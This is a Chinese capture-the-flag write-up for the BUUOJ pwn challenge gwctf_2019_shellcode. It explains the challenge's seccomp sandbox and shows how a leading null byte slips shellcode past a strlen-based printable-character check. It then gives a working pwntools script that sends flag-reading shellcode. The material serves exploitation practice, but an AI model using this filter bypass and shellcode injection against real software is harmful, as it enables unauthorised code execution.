首页 > 系统相关 >buuoj-pwn-gwctf_2019_shellcode

buuoj-pwn-gwctf_2019_shellcode

时间:2022-12-23 20:11:07浏览次数:70  
标签:goto gift 0x00 debug gwctf 2019 pwn shellcode

buuoj-pwn-gwctf_2019_shellcode

总结

  • 可见字符shellcode优先判断能不能利用\x00非预期一手

题目分析

IDA打开,看不了main函数,但是汇编也挺简单的,看看汇编就知道是打开沙箱,输入shellcode,然后判断是否是可见支付,然后执行shellcode

image-20221223195432268

沙箱规则如下:

$ seccomp-tools dump ./gwctf_2019_shellcode
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x05 0xc000003e  if (A != ARCH_X86_64) goto 0007
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x02 0xffffffff  if (A != 0xffffffff) goto 0007
 0005: 0x15 0x01 0x00 0x0000003b  if (A == execve) goto 0007
 0006: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0007: 0x06 0x00 0x00 0x00000000  return KILL

那么我们看看is_printable函数,就可以看到有strlen函数,参考这一道题的wp便可解出该题

image-20221223195742994

exp

#!/usr/bin/env python3

'''
Author: 7resp4ss
Date: 2022-12-23 19:24:47
LastEditTime: 2022-12-23 19:51:11
Description: 
'''

from pwncli import *

cli_script()

io = gift["io"]
elf = gift["elf"]
libc = gift.libc

filename  = gift.filename # current filename
is_debug  = gift.debug # is debug or not 
is_remote = gift.remote # is remote or not
gdb_pid   = gift.gdb_pid # gdb pid if debug

sc = b'\x00\x4d\x00\x41' + asm(shellcraft.cat('flag'))
log2_ex('length ->> 0x%x',len(sc))
sl(sc)

io.interactive()


标签:goto,gift,0x00,debug,gwctf,2019,pwn,shellcode
From: https://www.cnblogs.com/7resp4ss/p/17001518.html

相关文章

  • buuoj-pwn-starctf_2019_babyshell
    buuoj-pwn-starctf_2019_babyshell逆向分析GLIBCubuntu16,不涉及内存管理也没啥需要讲的关键函数主函数__int64__fastcallmain(__int64a1,char**a2,char**a3......
  • 免杀学习-认识shellcode
    免杀学习-认识shellcode接着暑假的学习继续更,这学期比较忙,学校里要过逆向考试,加上学生会加上新生班助,还要忙着研究小车做比赛作品,杂七杂八的事一大堆就没更。这个学期正......
  • PWN ORW 最短的shellcode(33字节!)
    前言:下面的rdx就是read(1,buf,n)中的n,这个值太大或者太小都没办法正常读。所以分两种大情况:orw:(64bit,34字节,针对需要调整rdx的情况:)shellcode=asm('''movedx,0x6761......
  • pwnable.kr-pwn-fd
    pwnable.kr-pwn-fd总结主函数参数argv[1]就是直接传入的值在linux中,s指的是“强制位权限”,位于user或group权限组的第三位置题目分析ssh连上以后,得以下fd@pwnable:......
  • buuoj-pwn-ACTF_2019_message
    buuoj-pwn-ACTF_2019_message总结低版本存在uaf时优先考虑doublefree给信号注册函数的函数signal()逆向分析glibc版本ubuntu18.04也就是glibc2.27对于这道题,我们......
  • pwn | ciscn_2019_s_3
    pwn|ciscn_2019_s_3x64ret2syscall主要参考:https://blog.csdn.net/github_36788573/article/details/103541178感觉ret2syscall比较灵活,哎。frompwnimport*con......
  • pwn | jarvisoj_level3
    pwn|jarvisoj_level3x86ret2libc非常常规的ret2libcexp:frompwnimport*fromLibcSearcher.LibcSearcherimport*context.log_level='debug'elf=ELF('.......
  • pwn3&4
    pwn第二次作业ret2shellcode适用范围没有后门函数有rwx段(目前的初级题目)方式过程将shellcode写入变量中然后栈溢出劫持retaddr然后执行注意:当可用空间不足时she......
  • NCTF2022 - pwn 部分 wp
    总的来说我出的几题不是很难,主要是想把自己感觉有意思的一些东西分享给大家。ezlogin程序设计周大作业稍加改编出的题目。洞在Tea里,有个数组越界写,为了避开​​\x00​​​截......
  • pwn之ret2libc
    libc.so动态链接动态链接的基本思想是把程序按照模块拆分成各个相对独立部分,在程序运行时才将它们链接在一起形成一个完整的程序,而不是像静态链接一样把所有程序模块都链......